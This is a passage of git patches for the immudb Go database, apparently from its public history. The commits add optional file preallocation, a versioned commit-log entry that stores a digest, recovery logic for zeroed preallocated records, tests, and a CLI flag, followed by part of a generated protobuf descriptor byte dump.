syscall.Fdatasync(int(f.Fd())) } diff --git a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go index 35e4aa3de0..230261113c 100644 --- a/embedded/appendable/fileutils/fileutils_unix_nonlinux.go +++ b/embedded/appendable/fileutils/fileutils_unix_nonlinux.go @@ -32,6 +32,6 @@ func syncDir(path string) error { return f.Sync() } -func syncFile(f *os.File) error { +func fdatasync(f *os.File) error { return f.Sync() } diff --git a/embedded/appendable/fileutils/fileutils_windows.go b/embedded/appendable/fileutils/fileutils_windows.go index ab426b76d9..c0693b3d7f 100644 --- a/embedded/appendable/fileutils/fileutils_windows.go +++ b/embedded/appendable/fileutils/fileutils_windows.go @@ -25,6 +25,6 @@ func syncDir(path string) error { return nil } -func syncFile(f *os.File) error { +func fdatasync(f *os.File) error { return f.Sync() } diff --git a/embedded/appendable/singleapp/single_app.go b/embedded/appendable/singleapp/single_app.go index fbffeaae63..9671603056 100644 --- a/embedded/appendable/singleapp/single_app.go +++ b/embedded/appendable/singleapp/single_app.go @@ -679,7 +679,12 @@ func (aof *AppendableFile) sync() error { return err } - err = fileutils.SyncFile(aof.f) + if aof.preallocSize == 0 { + err = aof.f.Sync() + } else { + err = fileutils.Fdatasync(aof.f) + } + if !aof.retryableSync { return err } From 8cbd9c11fe8e5b8ad06df6e1f0db4705c46f3d7b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 8 Jun 2023 10:44:28 -0300 Subject: [PATCH 0604/1062] chore(embedded/store): support preallocated files when reading tx data Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 2 +- embedded/store/tx.go | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index f037e75351..66771f5622 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -446,7 +446,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable for { err = tx.readFrom(txReader, false) - if err == io.EOF { + if errors.Is(err, io.EOF) { break } if err != nil { diff --git a/embedded/store/tx.go b/embedded/store/tx.go index f17d99dd86..a7a69532d1 100644 --- a/embedded/store/tx.go +++ b/embedded/store/tx.go @@ -21,6 +21,7 @@ import ( "crypto/sha256" "encoding/binary" "fmt" + "io" "github.com/codenotary/immudb/embedded/appendable" "github.com/codenotary/immudb/embedded/htree" @@ -424,6 +425,11 @@ func (t *txDataReader) readHeader(maxEntries int) (*TxHeader, error) { if err != nil { return nil, err } + if id == 0 { + // underlying file may be preallocated + return nil, io.EOF + } + header.ID = id ts, err := t.r.ReadUint64() From 1275da4e184cd8bbcfbb8fde514c8e80b6a1e90b Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 9 Jun 2023 08:53:43 -0300 Subject: [PATCH 0605/1062] chore(embedded/store): wip preallocated clog Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 45 +++++++++++++++++++++++++++++++++---- 1 file changed, 41 insertions(+), 4 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 66771f5622..2dbe655177 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -272,7 +272,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } appendableOpts.WithFileExt("txi") - appendableOpts.WithPrealloc(false) + appendableOpts.WithPrealloc(true) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles) cLog, err := appFactory(path, "commit", appendableOpts) @@ -373,6 +373,43 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } + if cLogSize > 0 { + // only needed when cLog is preallocated + // find the last non-zeroed clogEntry + + left := int64(1) + right := cLogSize / cLogEntrySize + + var b, zeroed [cLogEntrySize]byte + + for left < right { + middle := left + ((right-left)+1)/2 + + _, err := cLog.ReadAt(b[:], (middle-1)*cLogEntrySize) + if err != nil { + return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) + } + + if b == zeroed { + // if cLogEntry is zeroed it's considered as preallocated + right = middle - 1 + } else { + left = middle + } + } + + _, err := cLog.ReadAt(b[:], (left-1)*cLogEntrySize) + if err != nil { + return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) + } + + if b == zeroed { + cLogSize = 0 + } else { + cLogSize = left * cLogEntrySize + } + } + var committedTxLogSize int64 var committedTxOffset int64 var committedTxSize int @@ -380,13 +417,13 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable var committedTxID uint64 if cLogSize > 0 { - b := make([]byte, cLogEntrySize) - _, err := cLog.ReadAt(b, cLogSize-cLogEntrySize) + var b [cLogEntrySize]byte + _, err := cLog.ReadAt(b[:], cLogSize-cLogEntrySize) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } - committedTxOffset = int64(binary.BigEndian.Uint64(b)) + committedTxOffset = int64(binary.BigEndian.Uint64(b[:])) committedTxSize = int(binary.BigEndian.Uint32(b[txIDSize:])) committedTxLogSize = committedTxOffset + int64(committedTxSize) committedTxID = uint64(cLogSize) / cLogEntrySize From f85db83b219261f6334109a1319eb5ede8242c45 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 9 Jun 2023 13:37:38 -0300 Subject: [PATCH 0606/1062] chore(embedded/store): option to prealloc files Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 146 ++++++++++++++++++++----------- embedded/store/immustore_test.go | 37 +++++--- embedded/store/options.go | 8 ++ 3 files changed, 127 insertions(+), 64 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 2dbe655177..0969e86a70 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -112,7 +112,8 @@ var ErrInvalidProof = errors.New("invalid proof") const MaxKeyLen = 1024 // assumed to be not lower than hash size const MaxParallelIO = 127 -const cLogEntrySize = offsetSize + lszSize // tx offset & size +const cLogEntrySizeV1 = offsetSize + lszSize // tx offset + hdr size +const cLogEntrySizeV2 = offsetSize + lszSize + sha256.Size // tx offset + hdr size + alh const txIDSize = 8 const tsSize = 8 @@ -120,7 +121,7 @@ const lszSize = 4 const sszSize = 2 const offsetSize = 8 -// Version 2 includes `metaEmbeddedValues` into clog metadata +// Version 2 includes `metaEmbeddedValues` and `metaPreallocFiles` into clog metadata const Version = 2 const MaxTxHeaderVersion = 1 @@ -132,6 +133,7 @@ const ( metaMaxValueLen = "MAX_VALUE_LEN" metaFileSize = "FILE_SIZE" metaEmbeddedValues = "EMBEDDED_VALUES" + metaPreallocFiles = "PREALLOC_FILES" ) const indexDirname = "index" @@ -153,7 +155,8 @@ type ImmuStore struct { txLog appendable.Appendable txLogCache *cache.LRUCache - cLog appendable.Appendable + cLog appendable.Appendable + cLogEntrySize int cLogBuf *precommitBuffer @@ -170,6 +173,7 @@ type ImmuStore struct { commitStateRWMutex sync.RWMutex embeddedValues bool + preallocFiles bool readOnly bool synced bool syncFrequency time.Duration @@ -240,6 +244,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { metadata := appendable.NewMetadata(nil) metadata.PutInt(metaVersion, Version) metadata.PutBool(metaEmbeddedValues, opts.EmbeddedValues) + metadata.PutBool(metaPreallocFiles, opts.PreallocFiles) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) metadata.PutInt(metaMaxValueLen, opts.MaxValueLen) @@ -263,7 +268,7 @@ func Open(path string, opts *Options) (*ImmuStore, error) { } appendableOpts.WithFileExt("tx") - appendableOpts.WithPrealloc(true) + appendableOpts.WithPrealloc(opts.PreallocFiles) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.TxLogMaxOpenedFiles) txLog, err := appFactory(path, "tx", appendableOpts) @@ -271,8 +276,17 @@ func Open(path string, opts *Options) (*ImmuStore, error) { return nil, fmt.Errorf("unable to open transaction log: %w", err) } + metadata = appendable.NewMetadata(txLog.Metadata()) + + embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) + embeddedValues = ok && embeddedValues + + preallocFiles, ok := metadata.GetBool(metaPreallocFiles) + preallocFiles = ok && preallocFiles + appendableOpts.WithFileExt("txi") - appendableOpts.WithPrealloc(true) + appendableOpts.WithFileSize(opts.FileSize) + appendableOpts.WithPrealloc(preallocFiles) appendableOpts.WithCompressionFormat(appendable.NoCompression) appendableOpts.WithMaxOpenedFiles(opts.CommitLogMaxOpenedFiles) cLog, err := appFactory(path, "commit", appendableOpts) @@ -280,18 +294,12 @@ func Open(path string, opts *Options) (*ImmuStore, error) { return nil, fmt.Errorf("unable to open commit log: %w", err) } - metadata = appendable.NewMetadata(cLog.Metadata()) - - embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) - if !ok { - embeddedValues = false - } - var vLogs []appendable.Appendable if !embeddedValues { vLogs = make([]appendable.Appendable, opts.MaxIOConcurrency) appendableOpts.WithFileExt("val") + appendableOpts.WithFileSize(opts.FileSize) appendableOpts.WithPrealloc(false) appendableOpts.WithCompressionFormat(opts.CompressionFormat) appendableOpts.WithCompresionLevel(opts.CompressionLevel) @@ -326,6 +334,14 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "Version") } + var cLogEntrySize int + + if version <= 1 { + cLogEntrySize = cLogEntrySizeV1 + } else { + cLogEntrySize = cLogEntrySizeV2 + } + embeddedValues, ok := metadata.GetBool(metaEmbeddedValues) if !ok { if version >= 2 { @@ -335,6 +351,15 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable embeddedValues = false } + preallocFiles, ok := metadata.GetBool(metaPreallocFiles) + if !ok { + if version >= 2 { + return nil, fmt.Errorf("%w: can not read '%s' from metadata", ErrCorruptedCLog, "PreallocFiles") + } + + preallocFiles = false + } + if (len(vLogs) == 0 && !embeddedValues) || (len(vLogs) != 0 && embeddedValues) { return nil, fmt.Errorf("%w: invalid vLogs", ErrIllegalArguments) } @@ -364,7 +389,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable return nil, fmt.Errorf("corrupted commit log: could not get size: %w", err) } - rem := cLogSize % cLogEntrySize + rem := cLogSize % int64(cLogEntrySize) if rem > 0 { cLogSize -= rem err = cLog.SetOffset(cLogSize) @@ -373,24 +398,27 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } - if cLogSize > 0 { - // only needed when cLog is preallocated - // find the last non-zeroed clogEntry + if preallocFiles { + if cLogSize == 0 { + return nil, fmt.Errorf("corrupted commit log: file should not be empty when file preallocation is enabled") + } + // find the last non-zeroed clogEntry left := int64(1) - right := cLogSize / cLogEntrySize + right := cLogSize / int64(cLogEntrySize) - var b, zeroed [cLogEntrySize]byte + b := make([]byte, cLogEntrySize) + zeroed := make([]byte, cLogEntrySize) for left < right { middle := left + ((right-left)+1)/2 - _, err := cLog.ReadAt(b[:], (middle-1)*cLogEntrySize) + _, err := cLog.ReadAt(b, (middle-1)*int64(cLogEntrySize)) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } - if b == zeroed { + if bytes.Equal(b, zeroed) { // if cLogEntry is zeroed it's considered as preallocated right = middle - 1 } else { @@ -398,15 +426,15 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable } } - _, err := cLog.ReadAt(b[:], (left-1)*cLogEntrySize) + _, err := cLog.ReadAt(b, (left-1)*int64(cLogEntrySize)) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } - if b == zeroed { + if bytes.Equal(b, zeroed) { cLogSize = 0 } else { - cLogSize = left * cLogEntrySize + cLogSize = left * int64(cLogEntrySize) } } @@ -416,9 +444,12 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable var committedTxID uint64 + committedAlh := sha256.Sum256(nil) + if cLogSize > 0 { - var b [cLogEntrySize]byte - _, err := cLog.ReadAt(b[:], cLogSize-cLogEntrySize) + b := make([]byte, cLogEntrySize) + + _, err := cLog.ReadAt(b[:], cLogSize-int64(cLogEntrySize)) if err != nil { return nil, fmt.Errorf("corrupted commit log: could not read the last commit: %w", err) } @@ -426,7 +457,11 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable committedTxOffset = int64(binary.BigEndian.Uint64(b[:])) committedTxSize = int(binary.BigEndian.Uint32(b[txIDSize:])) committedTxLogSize = committedTxOffset + int64(committedTxSize) - committedTxID = uint64(cLogSize) / cLogEntrySize + committedTxID = uint64(cLogSize) / uint64(cLogEntrySize) + + if cLogEntrySize == cLogEntrySizeV2 { + copy(committedAlh[:], b[txIDSize+lszSize:]) + } txLogFileSize, err := txLog.Size() if err != nil { @@ -451,8 +486,6 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable maxTxSize := maxTxSize(maxTxEntries, maxKeyLen, maxTxMetadataLen, maxKVMetadataLen) txbs := make([]byte, maxTxSize) - committedAlh := sha256.Sum256(nil) - if cLogSize > 0 { txReader := appendable.NewReaderFrom(txLog, committedTxOffset, committedTxSize) @@ -466,7 +499,15 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable txPool.Release(tx) - committedAlh = tx.header.Alh() + if cLogEntrySize == cLogEntrySizeV1 { + committedAlh = tx.header.Alh() + } + + if cLogEntrySize == cLogEntrySizeV2 { + if committedAlh != tx.header.Alh() { + return nil, fmt.Errorf("corrupted transaction log: digest mismatch in the last transaction: %w", err) + } + } } cLogBuf := newPrecommitBuffer(opts.MaxActiveTransactions) @@ -566,7 +607,8 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable vLogsCond: sync.NewCond(&sync.Mutex{}), vLogCache: vLogCache, - cLog: cLog, + cLog: cLog, + cLogEntrySize: cLogEntrySize, cLogBuf: cLogBuf, @@ -578,6 +620,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable precommittedTxLogSize: precommittedTxLogSize, embeddedValues: embeddedValues, + preallocFiles: preallocFiles, readOnly: opts.ReadOnly, synced: opts.Synced, @@ -1757,7 +1800,7 @@ func (s *ImmuStore) mayCommit() error { } // will overwrite partially written and uncommitted data - err := s.cLog.SetOffset(int64(s.committedTxID * cLogEntrySize)) + err := s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize)) if err != nil { return err } @@ -1771,11 +1814,15 @@ func (s *ImmuStore) mayCommit() error { return err } - var cb [cLogEntrySize]byte - binary.BigEndian.PutUint64(cb[:], uint64(txOff)) + cb := make([]byte, s.cLogEntrySize) + binary.BigEndian.PutUint64(cb, uint64(txOff)) binary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize)) - _, _, err = s.cLog.Append(cb[:]) + if s.cLogEntrySize == cLogEntrySizeV2 { + copy(cb[offsetSize+lszSize:], alh[:]) + } + + _, _, err = s.cLog.Append(cb) if err != nil { return err } @@ -2222,15 +2269,15 @@ func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { return 0, 0, ErrIllegalArguments } - off := (txID - 1) * cLogEntrySize + off := int64(txID-1) * int64(s.cLogEntrySize) - var cb [cLogEntrySize]byte + cb := make([]byte, s.cLogEntrySize) - _, err := s.cLog.ReadAt(cb[:], int64(off)) - if err == multiapp.ErrAlreadyClosed || err == singleapp.ErrAlreadyClosed { + _, err := s.cLog.ReadAt(cb, off) + if errors.Is(err, multiapp.ErrAlreadyClosed) || errors.Is(err, singleapp.ErrAlreadyClosed) { return 0, 0, ErrAlreadyClosed } - if err == io.EOF { + if errors.Is(err, io.EOF) { // A partially readable commit record must be discarded - // - it is a result of incomplete commit log write // and will be overwritten on the next commit @@ -2240,7 +2287,7 @@ func (s *ImmuStore) txOffsetAndSize(txID uint64) (int64, int, error) { return 0, 0, err } - txOffset := int64(binary.BigEndian.Uint64(cb[:])) + txOffset := int64(binary.BigEndian.Uint64(cb)) txSize := int(binary.BigEndian.Uint32(cb[offsetSize:])) return txOffset, txSize, nil @@ -3001,7 +3048,7 @@ func (s *ImmuStore) sync() error { } // will overwrite partially written and uncommitted data - err = s.cLog.SetOffset(int64(s.committedTxID * cLogEntrySize)) + err = s.cLog.SetOffset(int64(s.committedTxID) * int64(s.cLogEntrySize)) if err != nil { return err } @@ -3015,11 +3062,15 @@ func (s *ImmuStore) sync() error { return err } - var cb [cLogEntrySize]byte - binary.BigEndian.PutUint64(cb[:], uint64(txOff)) + cb := make([]byte, s.cLogEntrySize) + binary.BigEndian.PutUint64(cb, uint64(txOff)) binary.BigEndian.PutUint32(cb[offsetSize:], uint32(txSize)) - _, _, err = s.cLog.Append(cb[:]) + if s.cLogEntrySize == cLogEntrySizeV2 { + copy(cb[offsetSize+lszSize:], alh[:]) + } + + _, _, err = s.cLog.Append(cb) if err != nil { return err } @@ -3134,13 +3185,6 @@ func minInt(a, b int) int { return b } -func maxInt(a, b int) int { - if a <= b { - return b - } - return a -} - func maxUint64(a, b uint64) uint64 { if a <= b { return b diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 8df2eb130b..4d30f482b0 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -414,7 +414,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail setting cLog offset", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { - return cLogEntrySize - 1, nil + return cLogEntrySizeV1 - 1, nil } cLog.SetOffsetFn = func(off int64) error { return injectedError @@ -426,7 +426,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should truncate cLog when validating cLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { - return cLogEntrySize - 1, nil + return cLogEntrySizeV1 - 1, nil } cLog.SetOffsetFn = func(off int64) error { return nil @@ -441,7 +441,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading cLog", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { - return cLogEntrySize, nil + return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError @@ -453,7 +453,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading txLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { - return cLogEntrySize + 1, nil + return cLogEntrySizeV1 + 1, nil } cLog.SetOffsetFn = func(off int64) error { return nil @@ -468,7 +468,7 @@ func TestImmudbStoreEdgeCases(t *testing.T) { t.Run("should fail reading txLogSize", func(t *testing.T) { cLog.SizeFn = func() (int64, error) { - return cLogEntrySize, nil + return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { for i := 0; i < len(bs); i++ { @@ -485,9 +485,8 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }) t.Run("should fail validating txLogSize", func(t *testing.T) { - cLog.SizeFn = func() (int64, error) { - return cLogEntrySize, nil + return cLogEntrySizeV1, nil } cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { for i := 0; i < len(bs); i++ { @@ -504,12 +503,14 @@ func TestImmudbStoreEdgeCases(t *testing.T) { }) t.Run("fail to read last transaction", func(t *testing.T) { - cLog.ReadAtFn = func(bs []byte, off int64) (int, error) { - buff := []byte{0, 0, 0, 0, 0, 0, 0, 0} + buff := []byte{0, 0, 0, 0, 0, 0, 0, 1} require.Less(t, off, int64(len(buff))) return copy(bs, buff[off:]), nil } + txLog.SizeFn = func() (int64, error) { + return 1, nil + } txLog.ReadAtFn = func(bs []byte, off int64) (int, error) { return 0, injectedError } @@ -2292,6 +2293,7 @@ func TestUncommittedTxOverwriting(t *testing.T) { metadata := appendable.NewMetadata(nil) metadata.PutInt(metaVersion, Version) metadata.PutBool(metaEmbeddedValues, false) + metadata.PutBool(metaPreallocFiles, false) metadata.PutInt(metaFileSize, opts.FileSize) metadata.PutInt(metaMaxTxEntries, opts.MaxTxEntries) metadata.PutInt(metaMaxKeyLen, opts.MaxKeyLen) @@ -3060,7 +3062,9 @@ func BenchmarkExportTx(b *testing.B) { func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { dir := t.TempDir() - opts := DefaultOptions().WithEmbeddedValues(false) + opts := DefaultOptions(). + WithEmbeddedValues(false). + WithPreallocFiles(false) immuStore, err := Open(dir, opts) require.NoError(t, err) @@ -3091,6 +3095,9 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { _, err = fl.Write(buff) require.NoError(t, err) + + err = fl.Sync() + require.NoError(t, err) } append("commit/00000000.txi", 11) // Commit log entry is 12 bytes, must add less than that @@ -3119,7 +3126,11 @@ func TestImmudbStoreIncompleteCommitWrite(t *testing.T) { func TestImmudbStoreTruncatedCommitLog(t *testing.T) { dir := t.TempDir() - immuStore, err := Open(dir, DefaultOptions()) + opts := DefaultOptions(). + WithEmbeddedValues(false). + WithPreallocFiles(false) + + immuStore, err := Open(dir, opts) require.NoError(t, err) tx, err := immuStore.NewWriteOnlyTx(context.Background()) @@ -3169,7 +3180,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = os.RemoveAll(filepath.Join(dir, "index")) require.NoError(t, err) - immuStore, err = Open(dir, DefaultOptions()) + immuStore, err = Open(dir, opts) require.NoError(t, err) err = immuStore.WaitForIndexingUpto(context.Background(), hdr1.ID) @@ -3205,7 +3216,7 @@ func TestImmudbStoreTruncatedCommitLog(t *testing.T) { err = immuStore.Close() require.NoError(t, err) - immuStore, err = Open(dir, DefaultOptions()) + immuStore, err = Open(dir, opts) require.NoError(t, err) valRef, err = immuStore.Get([]byte("key1")) diff --git a/embedded/store/options.go b/embedded/store/options.go index 481503a465..bc84cc8fee 100644 --- a/embedded/store/options.go +++ b/embedded/store/options.go @@ -41,6 +41,7 @@ const DefaultFileSize = multiapp.DefaultFileSize const DefaultCompressionFormat = appendable.DefaultCompressionFormat const DefaultCompressionLevel = appendable.DefaultCompressionLevel const DefaultEmbeddedValues = true +const DefaultPreallocFiles = true const DefaultTxLogCacheSize = 1000 const DefaultVLogCacheSize = 0 const DefaultMaxWaitees = 1000 @@ -130,6 +131,7 @@ type Options struct { CompressionFormat int CompressionLevel int EmbeddedValues bool + PreallocFiles bool // options below affect indexing IndexOpts *IndexOptions @@ -231,6 +233,7 @@ func DefaultOptions() *Options { CompressionFormat: DefaultCompressionFormat, CompressionLevel: DefaultCompressionLevel, EmbeddedValues: DefaultEmbeddedValues, + PreallocFiles: DefaultPreallocFiles, IndexOpts: DefaultIndexOptions(), @@ -561,6 +564,11 @@ func (opts *Options) WithEmbeddedValues(embeddedValues bool) *Options { return opts } +func (opts *Options) WithPreallocFiles(preallocFiles bool) *Options { + opts.PreallocFiles = preallocFiles + return opts +} + func (opts *Options) WithIndexOptions(indexOptions *IndexOptions) *Options { opts.IndexOpts = indexOptions return opts From 388f3d91e60a57059411c210f98c8aa656f06ccf Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 9 Jun 2023 14:05:20 -0300 Subject: [PATCH 0607/1062] chore(embedded/store): improve log messages when discarding precommitted transactions Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index 0969e86a70..bdc5129911 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -528,12 +528,12 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable break } if err != nil { - opts.logger.Warningf("%w: while reading pre-committed transaction: %d", err, precommittedTxID+1) + opts.logger.Infof("%v: discarding pre-committed transaction: %d", err, precommittedTxID+1) break } if tx.header.ID != precommittedTxID+1 || tx.header.PrevAlh != precommittedAlh { - opts.logger.Warningf("%w: while reading pre-committed transaction: %d", ErrCorruptedData, precommittedTxID+1) + opts.logger.Infof("%v: discarding pre-committed transaction: %d", ErrCorruptedData, precommittedTxID+1) break } @@ -545,7 +545,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable err = cLogBuf.put(precommittedTxID, precommittedAlh, precommittedTxLogSize, txSize) if err != nil { txPool.Release(tx) - return nil, fmt.Errorf("%w: while loading pre-committed transaction: %v", err, precommittedTxID+1) + return nil, fmt.Errorf("%v: while loading pre-committed transaction: %v", err, precommittedTxID+1) } precommittedTxLogSize += int64(txSize) From 311254bc7007afccad2b0970c4c1946d98a5b9dd Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 9 Jun 2023 14:25:27 -0300 Subject: [PATCH 0608/1062] chore(pkg/api): expose db setting to enable file preallocation Signed-off-by: Jeronimo Irazabal --- cmd/immuadmin/command/database.go | 10 + pkg/api/schema/schema.pb.go | 2184 +++++++++++---------- pkg/api/schema/schema.proto | 3 + pkg/integration/database_creation_test.go | 2 + pkg/server/db_options.go | 17 +- 5 files changed, 1130 insertions(+), 1086 deletions(-) diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index ea8518d150..a92c5816cb 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -35,6 +35,7 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Bool("exclude-commit-time", false, "do not include server-side timestamps in commit checksums, useful when reproducibility is a desired feature") c.Flags().Bool("embedded-values", true, "store values in the tx header") + c.Flags().Bool("prealloc-files", true, "enable file preallocation") c.Flags().Bool("replication-enabled", false, "set database as a replica") // deprecated, use replication-is-replica instead c.Flags().Bool("replication-is-replica", false, "set database as a replica") c.Flags().Bool("replication-sync-enabled", false, "enable synchronous replication") @@ -431,6 +432,11 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } + ret.PreallocFiles, err = condBool("prealloc-files") + if err != nil { + return nil, err + } + ret.ReplicationSettings.Replica, err = condBool("replication-is-replica") if err != nil { return nil, err @@ -561,6 +567,10 @@ func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) stri propertiesStr = append(propertiesStr, fmt.Sprintf("embedded-values: %v", settings.EmbeddedValues.GetValue())) } + if settings.PreallocFiles != nil { + propertiesStr = append(propertiesStr, fmt.Sprintf("prealloc-files: %v", settings.PreallocFiles.GetValue())) + } + if settings.WriteTxHeaderVersion != nil { propertiesStr = append(propertiesStr, fmt.Sprintf("write-tx-header-version: %d", settings.WriteTxHeaderVersion.GetValue())) } diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index d9ce8e082e..637cc800b4 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -5679,6 +5679,8 @@ type DatabaseNullableSettings struct { TruncationSettings *TruncationNullableSettings `protobuf:"bytes,29,opt,name=truncationSettings,proto3" json:"truncationSettings,omitempty"` // If set to true, values are stored together with the transaction header (true by default) EmbeddedValues *NullableBool `protobuf:"bytes,30,opt,name=embeddedValues,proto3" json:"embeddedValues,omitempty"` + // Enable file preallocation + PreallocFiles *NullableBool `protobuf:"bytes,31,opt,name=preallocFiles,proto3" json:"preallocFiles,omitempty"` } func (x *DatabaseNullableSettings) Reset() { @@ -5881,6 +5883,13 @@ func (x *DatabaseNullableSettings) GetEmbeddedValues() *NullableBool { return nil } +func (x *DatabaseNullableSettings) GetPreallocFiles() *NullableBool { + if x != nil { + return x.PreallocFiles + } + return nil +} + type ReplicationNullableSettings struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9445,7 +9454,7 @@ var file_schema_proto_rawDesc = []byte{ 0x6c, 0x75, 0x65, 0x22, 0x2c, 0x0a, 0x14, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x22, 0x8f, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, + 0x65, 0x22, 0xd2, 0x0e, 0x0a, 0x18, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x5c, 0x0a, 0x13, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x2a, 0x2e, 0x69, 0x6d, @@ -9558,907 +9567,911 @@ var file_schema_proto_rawDesc = []byte{ 0x18, 0x1e, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0e, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x22, 0xc8, 0x07, 0x0a, 0x1b, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 